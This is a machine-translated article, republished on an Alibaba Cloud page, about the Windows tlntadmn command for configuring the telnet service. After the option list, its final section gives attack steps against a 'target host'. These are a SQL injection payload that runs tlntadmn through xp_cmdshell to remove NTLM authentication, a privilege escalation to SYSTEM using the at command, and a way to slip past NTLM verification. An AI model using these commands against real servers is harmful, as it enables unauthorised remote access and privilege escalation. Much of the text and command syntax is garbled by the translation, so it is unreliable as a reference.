Telnet port settings of the tlntadmn command

Source: Internet
Author: User

Telnet can help us complete remote login settings. How does the Administrator manage systems such as port authentication? Here we will introduce the usage of the tlntadmn command. This command can help us complete the settings of the telnet service. Tlntadmn is the telnet service setting command. You can set the port and authentication method of the telnet service:

Usage: tlntadmn [computer name] [common_options] start | stop | pause | continue |-s |-k |-m | config config_options
All sessions use 'all '.

 
 
  1. -S sessionid lists session information.
  2. -K sessionid: Terminate the session.
  3. -M sessionid: send a message to the session.
  4. Configure the Telnet server parameters in config.
  5.  
  6. Common_options:
  7. -U user specifies the user whose creden are to be used
  8. -P password: User password
  9. Config_options:
  10. Dom = domain: Set the user's default domain
  11. Ctrlakeymap = yes | no sets the ALT ing of the ALT key
  12. Timeout = hh: mm: ss sets the idle session timeout value timeoutactive = yes | no enables the idle session.
  13. Maxfail = attempts set the number of logon attempts that failed before disconnection.
  14. Maxconn = connections sets the maximum number of connections.
  15. Port = number: Set the Telnet port.
  16. Sec = [+/-] NTLM [+/-] passwd set the authentication authority
  17. Fname = file specifies the audit file name.
  18. Fsize = size specifies the maximum size (MB) of the audit file ).
  19. Mode = console | stream specifies the operation mode.
  20. Auditlocation = eventlog | file | both specifies the record location
  21. Audit = [+/-] user [+/-] fail [+/-] admin specifies the audit Event

Usage:

Run the following command: tlntadmn config sec =-ntlm

Run:; exec master. dbo. xp_mongoshell 'tlntadmn config sec =-ntlm' -- after the injection, ntlm authentication is removed.

 
 
  1. C: \> tlntadmn config sec =-ntlm --------------- use admin permission
  2. C: \> at 20:43/interactive "cmd" ----------- enable the system permission using the at command
  3. A new job is added. Its job ID is 1.
  4. C: \ WINNT \ system32> tlntadmn config sec =-ntlm

Another method to remove NTML verification: Create an administrator user on the target host! Create a user with the same account and password as the target host on the local machine, right-click on the local machine CMD and select the running mode ~ Enter the account and password to directly Telnet the target IP address of the service, which can be used for NTML verification.
 

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.